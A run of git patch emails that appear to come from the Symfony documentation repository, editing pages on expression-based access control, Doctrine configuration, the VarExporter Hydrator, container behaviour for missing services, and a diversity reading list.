From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 17:36:54 +0100
Subject: [PATCH 2912/5766] Tweaks

---
 security/expressions.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 15e2eb3995c..5fbbdd1169a 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -26,15 +26,22 @@ and ``#[IsGranted()]`` attribute also accept an
 
         class MyController extends AbstractController
         {
+            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
+            public function show(): Response
+            {
+                // ...
+            }
+
             #[IsGranted(new Expression(
                 '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
             ))]
-            public function index(): Response
+            public function edit(): Response
             {
                 // ...
             }
         }
-    .. code-block:: php-attributes
+
+    .. code-block:: php
 
         // src/Controller/MyController.php
         namespace App\Controller;
@@ -45,25 +52,16 @@ and ``#[IsGranted()]`` attribute also accept an
 
         class MyController extends AbstractController
         {
-            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
-            public function index(): Response
+            public function show(): Response
             {
+                $this->denyAccessUnlessGranted(new Expression(
+                    'is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'
+                ));
+
                 // ...
             }
-        }
-
-    .. code-block:: php
-
-        // src/Controller/MyController.php
-        namespace App\Controller;
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\ExpressionLanguage\Expression;
-        use Symfony\Component\HttpFoundation\Response;
-
-        class MyController extends AbstractController
-        {
-            public function index(): Response
+            public function edit(): Response
             {
                 $this->denyAccessUnlessGranted(new Expression(
                     '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'

From 2a34c8b8ebf06ab0829bdcbb2fee37aa10c84160 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 11 Feb 2023 11:07:42 +0100
Subject: [PATCH 2913/5766] [Notifier] `from` is optional in Smsapi since 6.3

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index bb223aedeef..976f5fb9e05 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -117,6 +117,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
     The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
     in Symfony 6.3.
+    The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From caa947890aab668cfb61437c81c1448bad5904d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 11 Feb 2023 15:22:47 +0100
Subject: [PATCH 2914/5766] Add a trailing slash to dir names

---
 setup/web_server_configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f17e635e9fd..89ff10f2e62 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -16,9 +16,9 @@ When using Apache, you can configure PHP as an
 :ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
 to use PHP :ref:`with Nginx <web-server-nginx>`.
 
-.. sidebar:: The ``public`` directory
+.. sidebar:: The ``public/`` directory
 
-    The ``public`` directory is the home of all of your application's public and
+    The ``public/`` directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 

From 3a4b017939560a1805514d08e7da588ec47846f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 11 Feb 2023 15:27:53 +0100
Subject: [PATCH 2915/5766] Tweak

---
 configuration.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dc8b57fc0f1..cfa519409c6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -646,18 +646,23 @@ This example shows how you could configure the application secret using an env v
             ]);
         };
 
-Your env vars may also be accessed in your code thanks to PHP super
-globals ``$_ENV`` and ``$_SERVER``. Both are equivalent::
-
-    $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
-    $env = $_SERVER['APP_ENV']; // prod
-
 .. versionadded:: 5.3
 
     The ``env()`` configurator syntax was introduced in 5.3.
     In ``PHP`` configuration files, it will allow to autocomplete methods based
     on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
 
+.. note::
+
+    Your env vars can also be accessed via the PHP super globals ``$_ENV`` and
+    ``$_SERVER`` (both are equivalent)::
+
+        $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
+        $env = $_SERVER['APP_ENV']; // prod
+
+    However, in Symfony applications there's no need to use this, because the
+    configuration system provides a better way of working with env vars.
+
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some

From 3d635b68a1edb1729a98d0142dcdaff13de54de3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 16 Jan 2023 16:55:20 +0100
Subject: [PATCH 2916/5766] [Doctrine] Cleaning up the config code samples

---
 doctrine/multiple_entity_managers.rst | 57 ++++++++-------------------
 1 file changed, 16 insertions(+), 41 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 856e796a2e9..6f77aa8a455 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Doctrine; Multiple entity managers
 
-How to Work with multiple Entity Managers and Connections
+How to Work with Multiple Entity Managers and Connections
 =========================================================
 
 You can use multiple Doctrine entity managers or connections in a Symfony
@@ -32,20 +32,12 @@ The following configuration code shows how you can configure two entity managers
         # config/packages/doctrine.yaml
         doctrine:
             dbal:
-                default_connection: default
                 connections:
                     default:
-                        # configure these for your database server
                         url: '%env(resolve:DATABASE_URL)%'
-                        driver: 'pdo_mysql'
-                        server_version: '5.7'
-                        charset: utf8mb4
                     customer:
-                        # configure these for your database server
-                        url: '%env(resolve:DATABASE_CUSTOMER_URL)%'
-                        driver: 'pdo_mysql'
-                        server_version: '5.7'
-                        charset: utf8mb4
+                        url: '%env(resolve:CUSTOMER_DATABASE_URL)%'
+                default_connection: default
             orm:
                 default_entity_manager: default
                 entity_managers:
@@ -82,20 +74,12 @@ The following configuration code shows how you can configure two entity managers
 
             <doctrine:config>
                 <doctrine:dbal default-connection="default">
-                    <!-- configure these for your database server -->
                     <doctrine:connection name="default"
                         url="%env(resolve:DATABASE_URL)%"
-                        driver="pdo_mysql"
-                        server_version="5.7"
-                        charset="utf8mb4"
                     />
 
-                    <!-- configure these for your database server -->
                     <doctrine:connection name="customer"
-                        url="%env(resolve:DATABASE_CUSTOMER_URL)%"
-                        driver="pdo_mysql"
-                        server_version="5.7"
-                        charset="utf8mb4"
+                        url="%env(resolve:CUSTOMER_DATABASE_URL)%"
                     />
                 </doctrine:dbal>
 
@@ -131,37 +115,28 @@ The following configuration code shows how you can configure two entity managers
         use Symfony\Config\DoctrineConfig;
 
         return static function (DoctrineConfig $doctrine) {
-            $doctrine->dbal()->defaultConnection('default');
-
-            // configure these for your database server
+            // Connections:
             $doctrine->dbal()
                 ->connection('default')
-                ->url(env('DATABASE_URL')->resolve())
-                ->driver('pdo_mysql')
-                ->serverVersion('5.7')
-                ->charset('utf8mb4');
-
-            // configure these for your database server
+                ->url(env('DATABASE_URL')->resolve());
             $doctrine->dbal()
                 ->connection('customer')
-                ->url(env('DATABASE_CUSTOMER_URL')->resolve())
-                ->driver('pdo_mysql')
-                ->serverVersion('5.7')
-                ->charset('utf8mb4');
-
+                ->url(env('CUSTOMER_DATABASE_URL')->resolve());
+            $doctrine->dbal()->defaultConnection('default');
+            
+            // Entity Managers:
             $doctrine->orm()->defaultEntityManager('default');
-            $emDefault = $doctrine->orm()->entityManager('default');
-            $emDefault->connection('default');
-            $emDefault->mapping('Main')
+            $defaultEntityManager = $doctrine->orm()->entityManager('default');
+            $defaultEntityManager->connection('default');
+            $defaultEntityManager->mapping('Main')
                 ->isBundle(false)
                 ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Main')
                 ->prefix('App\Entity\Main')
                 ->alias('Main');
-
-            $emCustomer = $doctrine->orm()->entityManager('customer');
-            $emCustomer->connection('customer');
-            $emCustomer->mapping('Customer')
+            $customerEntityManager = $doctrine->orm()->entityManager('customer');
+            $customerEntityManager->connection('customer');
+            $customerEntityManager->mapping('Customer')
                 ->isBundle(false)
                 ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Customer')

From 1d3958bd228f37e1dd5e9961911924eee56d18fd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Feb 2023 09:09:45 +0100
Subject: [PATCH 2917/5766] [VarExporter] Add `Hydrator` section

---
 components/var_exporter.rst | 74 ++++++++++++++++++++++++++++++++-----
 1 file changed, 65 insertions(+), 9 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 810cc271a2b..9de0c1dcf62 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -95,22 +95,29 @@ file looks like this::
         []
     );
 
-Instantiating PHP Classes
--------------------------
+Instantiating & Hydrating PHP Classes
+-------------------------------------
 
-The other main feature provided by this component is an instantiator which can
-create objects and set their properties without calling their constructors or
-any other methods::
+Instantiator
+~~~~~~~~~~~~
+
+This component provides an instantiator, which can create objects and set
+their properties without calling their constructors or any other methods::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // creates an empty instance of Foo
+    // Creates an empty instance of Foo
     $fooObject = Instantiator::instantiate(Foo::class);
 
-    // creates a Foo instance and sets one of its properties
+    // Creates a Foo instance and sets one of its properties
     $fooObject = Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]);
 
-    // creates a Foo instance and sets a private property defined on its parent Bar class
+The instantiator also allows you to populate the property of a parent class. Assuming
+``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+
+    use Symfony\Component\VarExporter\Instantiator;
+
+    // Creates a Foo instance and sets a private property defined on its parent Bar class
     $fooObject = Instantiator::instantiate(Foo::class, [], [
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
@@ -118,7 +125,9 @@ any other methods::
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
 created by using the special ``"\0"`` property name to define their internal value::
 
-    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    use Symfony\Component\VarExporter\Instantiator;
+
+    // Creates an SplObjectStorage where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);
@@ -128,5 +137,52 @@ created by using the special ``"\0"`` property name to define their internal val
         "\0" => [$inputArray],
     ]);
 
+Hydrator
+~~~~~~~~
+
+The instantiator assumes the object you want to populate doesn't exist yet.
+Somehow, you may want to fill properties of an already existing object. This is
+the goal of the :class:`Symfony\\Component\\VarExporter\\Hydrator`. Here is a
+basic usage of the hydrator populating a property of an object::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    $object = new Foo();
+    Hydrator::hydrate($object, ['propertyName' => $propertyValue]);
+
+The hydrator also allows you to populate the property of a parent class. Assuming
+``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    $object = new Foo();
+    Hydrator::hydrate($object, [], [
+        Bar::class => ['privateBarProperty' => $propertyValue],
+    ]);
+
+    // Alternatively, you can use the special "\0" syntax
+    Hydrator::hydrate($object, ["\0Bar\0privateBarProperty" => $propertyValue]);
+
+Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
+populated by using the special ``"\0"`` property name to define their internal value::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    $storage = new SplObjectStorage();
+    Hydrator::hydrate($storage, [
+        "\0" => [$object1, $info1, $object2, $info2...],
+    ]);
+
+    // creates an ArrayObject populated with $inputArray
+    $arrayObject = new ArrayObject();
+    Hydrator::hydrate($arrayObject, [
+        "\0" => [$inputArray],
+    ]);
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
+
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/

From 7cac7e22046e4b40a6b12fb968a2470db7066000 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Fri, 10 Feb 2023 09:21:49 +0100
Subject: [PATCH 2918/5766] Double-escape backslashes

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f2d8f827bdf..081b59c0c02 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -629,7 +629,7 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             bool $debugMode,
 
             // and expressions
-            #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
+            #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
         ) {
         }

From 0e2bb60e55f7d70d6898102d5734012911d201a0 Mon Sep 17 00:00:00 2001
From: Aikaterine Tsiboukas <catherine@batdesign.net>
Date: Sun, 12 Feb 2023 16:08:17 +0100
Subject: [PATCH 2919/5766] move further reading, convert to rst, remove dead
 links

---
 contributing/diversity/further_reading.rst | 56 ++++++++++++++++++++++
 contributing/diversity/index.rst           |  1 +
 2 files changed, 57 insertions(+)
 create mode 100644 contributing/diversity/further_reading.rst

diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
new file mode 100644
index 00000000000..7749636739e
--- /dev/null
+++ b/contributing/diversity/further_reading.rst
@@ -0,0 +1,56 @@
+Further reading / viewing
+====================
+
+This is a non-exhaustive list of further reading on the topic of diversity.
+
+Diversity in Open Source
+----------
+
+`Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
+`Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
+`Model View Culture - The Dehumanizing Myth of the Meritocracy <https://modelviewculture.com/pieces/the-dehumanizing-myth-of-the-meritocracy>`_
+`Annalee - How “Good Intent” Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
+`Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
+
+Code of Conduct
+----------
+
+`Karolina Szczur - When a Code of Conduct becomes harmful <https://medium.com/@fox/when-a-code-of-conduct-becomes-harmful-1d4e737ff7aa>`_
+`Ashe Dryden - Codes of Conduct 101 + FAQ <https://www.ashedryden.com/blog/codes-of-conduct-101-faq>`_
+`Phil Sturgeon - Codes of Conduct: Maybe They're Not So Bad? <https://philsturgeon.uk/2016/09/15/codes-of-conduct-maybe-theyre-not-so-bad>`_
+
+Inclusive language
+----------
+
+`Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
+`inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
+
+Other talks and blog posts
+----------
+
+`Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
+`Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
+`Sage Sharp - SCALE: Improving Diversity with Maslow’s hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
+`UCSF - Unconscious Bias <https://diversity.ucsf.edu/resources/unconscious-bias>`_
+`Responding to harassment reports <http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Responding_to_reports>`_
+`Unconscious bias at work <https://rework.withgoogle.com/guides/unbiasing-raise-awareness/steps/watch-unconscious-bias-at-work>`_
+`CIS people declaring their pronouns <https://medium.com/@mrsexsmith/dear-cis-people-who-put-your-pronouns-on-your-hello-my-name-is-nametags-78c047ed7af1>`_
+
+Books
+----------
+
+`Emily Chang - Brotopia <http://www.brotopiabook.com>`_
+
+Websites
+----------
+
+`Better Allies <https://maleallies.com>`_
+`Geek Feminism WIKI <http://geekfeminism.wikia.com/wiki/Geek_Feminism_Wiki>`_
+`Open Source Diversity <https://opensourcediversity.org>`_
+`Open Demographics documentation <https://drnikki.github.io/open-demographics>`_
+`CHAOSS Metrics <https://chaoss.community/metrics/>`_
+`Up for grabs <https://up-for-grabs.net/#/>`_
+`The developmental model of intercultural sensitivity (DMIS) <http://meldye.weebly.com/what-is-dmis.html>`_
+`DiversifyTech <https://www.diversifytech.co>`_
+`so-you-just-learned <https://github.com/sublimemarch/so-you-just-learned/blob/master/README.md>`_
+`The Post-Meritocracy Manifesto <https://postmeritocracy.org>`_
diff --git a/contributing/diversity/index.rst b/contributing/diversity/index.rst
index a932c27648b..85fd0694d4e 100644
--- a/contributing/diversity/index.rst
+++ b/contributing/diversity/index.rst
@@ -5,3 +5,4 @@ Diversity Initiative
     :maxdepth: 2
 
     governance
+    further_reading

From 1ee21a569d31964083c517c9980c67e0c683eaee Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 13 Feb 2023 09:09:45 +0100
Subject: [PATCH 2920/5766] Minor

---
 contributing/diversity/further_reading.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
index 7749636739e..8bb07c39c97 100644
--- a/contributing/diversity/further_reading.rst
+++ b/contributing/diversity/further_reading.rst
@@ -1,10 +1,10 @@
-Further reading / viewing
-====================
+Further Reading / Viewing
+=========================
 
 This is a non-exhaustive list of further reading on the topic of diversity.
 
 Diversity in Open Source
-----------
+------------------------
 
 `Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
 `Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
@@ -13,20 +13,20 @@ Diversity in Open Source
 `Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
 
 Code of Conduct
-----------
+---------------
 
 `Karolina Szczur - When a Code of Conduct becomes harmful <https://medium.com/@fox/when-a-code-of-conduct-becomes-harmful-1d4e737ff7aa>`_
 `Ashe Dryden - Codes of Conduct 101 + FAQ <https://www.ashedryden.com/blog/codes-of-conduct-101-faq>`_
 `Phil Sturgeon - Codes of Conduct: Maybe They're Not So Bad? <https://philsturgeon.uk/2016/09/15/codes-of-conduct-maybe-theyre-not-so-bad>`_
 
 Inclusive language
-----------
+------------------
 
 `Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
 `inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
 
-Other talks and blog posts
-----------
+Other talks and Blog Posts
+--------------------------
 
 `Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
 `Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
@@ -37,12 +37,12 @@ Other talks and blog posts
 `CIS people declaring their pronouns <https://medium.com/@mrsexsmith/dear-cis-people-who-put-your-pronouns-on-your-hello-my-name-is-nametags-78c047ed7af1>`_
 
 Books
-----------
+-----
 
 `Emily Chang - Brotopia <http://www.brotopiabook.com>`_
 
 Websites
-----------
+--------
 
 `Better Allies <https://maleallies.com>`_
 `Geek Feminism WIKI <http://geekfeminism.wikia.com/wiki/Geek_Feminism_Wiki>`_

From 34cf1bb51342a14f730f3d94e9d1d84582098e52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Feb 2023 17:07:57 +0100
Subject: [PATCH 2921/5766] Minor tweak

---
 contributing/code_of_conduct/concrete_example_document.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index 0981cce4454..f1ccb0b3e96 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -1,4 +1,4 @@
-Code of Conduct: Concrete Example Document
+iCode of Conduct: Concrete Example Document
 ==========================================
 
 This is a living document that serves to give concrete examples of
@@ -22,8 +22,8 @@ Concrete Examples
   inappropriate levels of intimacy with others;
 * Continued one-on-one communication after requests to cease;
 * Putting down people based on their technology choices or their work;
-* Taking photographs of conference attendees and speakers and publishing them
-  without their explicit permission.
+* Taking photographs of a conference attendee or speaker in the foreground and
+  publishing them without their permission.
 
 The original list is inspired and modified from `geek feminism`_ and
 confirmed by experiences from PHPWomen.

From 123af46408aae022c7d78091c1300ae237776878 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Feb 2023 17:09:05 +0100
Subject: [PATCH 2922/5766] Minor fix

---
 contributing/code_of_conduct/concrete_example_document.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index f1ccb0b3e96..60ffe2527db 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -1,4 +1,4 @@
-iCode of Conduct: Concrete Example Document
+Code of Conduct: Concrete Example Document
 ==========================================
 
 This is a living document that serves to give concrete examples of

From 7ad14476b3588b8c9190d83cb6e5b67042bd9877 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 14 Feb 2023 11:19:21 +0100
Subject: [PATCH 2923/5766] Fix the example for the When constraint

When evaluating the expression, the ExpressionLanguage does not have access to private properties of the object, as it runs from its outside. And contrary to Twig, ExpressionLanguage does not have the magic `.` operator that tries to find a getter when it cannot use the property.
---
 reference/constraints/When.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index acd35cddcf5..ed855857b1d 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -69,7 +69,7 @@ One way to accomplish this is with the When constraint:
         {
             #[Assert\GreaterThan(0)]
             #[Assert\When(
-                expression: 'this.type == "percent"',
+                expression: 'this.getType() == "percent"',
                 constraints: [
                     new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
                 ],
@@ -87,7 +87,7 @@ One way to accomplish this is with the When constraint:
                 value:
                     - GreaterThan: 0
                     - When:
-                        expression: "this.type == 'percent'"
+                        expression: "this.getType() == 'percent'"
                         constraints:
                             - LessThanOrEqual:
                                 value: 100
@@ -105,7 +105,7 @@ One way to accomplish this is with the When constraint:
                     <constraint name="GreaterThan">0</constraint>
                     <constraint name="When">
                         <option name="expression">
-                            this.type == 'percent'
+                            this.getType() == 'percent'
                         </option>
                         <option name="constraints">
                             <constraint name="LessThanOrEqual">
@@ -132,7 +132,7 @@ One way to accomplish this is with the When constraint:
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
                 $metadata->addPropertyConstraint('value', new Assert\When([
-                    'expression' => 'this.type == "percent"',
+                    'expression' => 'this.getType() == "percent"',
                     'constraints' => [
                         new Assert\LessThanOrEqual([
                             'value' => 100,

From 6f1a620522989026783b0d1160c66b3965fc1295 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 13 Feb 2023 22:15:39 +0100
Subject: [PATCH 2924/5766] [DependencyInjection] Document Container invalid
 behavior

---
 components/dependency_injection.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 470bcc7f2fc..26fd4d1c87f 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -170,6 +170,30 @@ like this::
 
     $newsletterManager = $containerBuilder->get('newsletter_manager');
 
+Behavior When Service Does Not Exist
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, an exception is throw when a service does not exist. You can override the behavior by::
+
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\ContainerInterface;
+
+    $containerBuilder = new ContainerBuilder();
+
+    // ...
+
+    // the second argument is optional and define the behavior
+    $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
+
+
+Possible behaviors are:
+
+ * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at compile time **default**
+ * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``:  Returns null
+ * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: Ignores the wrapping command asking for the reference (for instance, ignore a setter if the service does not exist)
+ * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: Ignores/returns null for uninitialized services or invalid references
+ * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at runtime, when trying to access the missing service
+
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------
 

From fd9b155d7f503d04e97e38be56e19c005567abed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Feb 2023 10:55:14 +0100
Subject: [PATCH 2925/5766] Tweaks

---
 components/dependency_injection.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 8b9db9038bc..1e72d67d589 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -170,10 +170,11 @@ like this::
 
     $newsletterManager = $containerBuilder->get('newsletter_manager');
 
-Behavior When Service Does Not Exist
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Getting Services That Don't Exist
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, an exception is throw when a service does not exist. You can override the behavior by::
+By default, when you try to get a service that doesn't exist, you see an exception.
+You can override this behavior as follows::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\ContainerInterface;
@@ -182,17 +183,22 @@ By default, an exception is throw when a service does not exist. You can overrid
 
     // ...
 
-    // the second argument is optional and define the behavior
+    // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
 
-Possible behaviors are:
+These are all the possible behaviors:
 
- * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at compile time **default**
- * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``:  Returns null
- * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: Ignores the wrapping command asking for the reference (for instance, ignore a setter if the service does not exist)
- * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: Ignores/returns null for uninitialized services or invalid references
- * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at runtime, when trying to access the missing service
+ * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
+   at compile time (this is the **default** behavior);
+ * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
+   exception at runtime, when trying to access the missing service;
+ * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
+ * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
+   command asking for the reference (for instance, ignore a setter if the service
+   does not exist);
+ * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
+   ``null`` for uninitialized services or invalid references.
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------

From c4a4d254de04c3628c4a57ef514d3fc324d4f26d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 15 Feb 2023 21:50:30 +0100
Subject: [PATCH 2926/5766] Add Form is_empty_callback option

---
 reference/forms/types/form.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b2314fe8bd2..945bfafc365 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -64,6 +64,13 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
+``is_empty_callback``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+This callable takes form data and returns whether value is considered empty.
+
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:

From 20f38c1ca9beadcbc694ee55fe440f349d6d1bca Mon Sep 17 00:00:00 2001
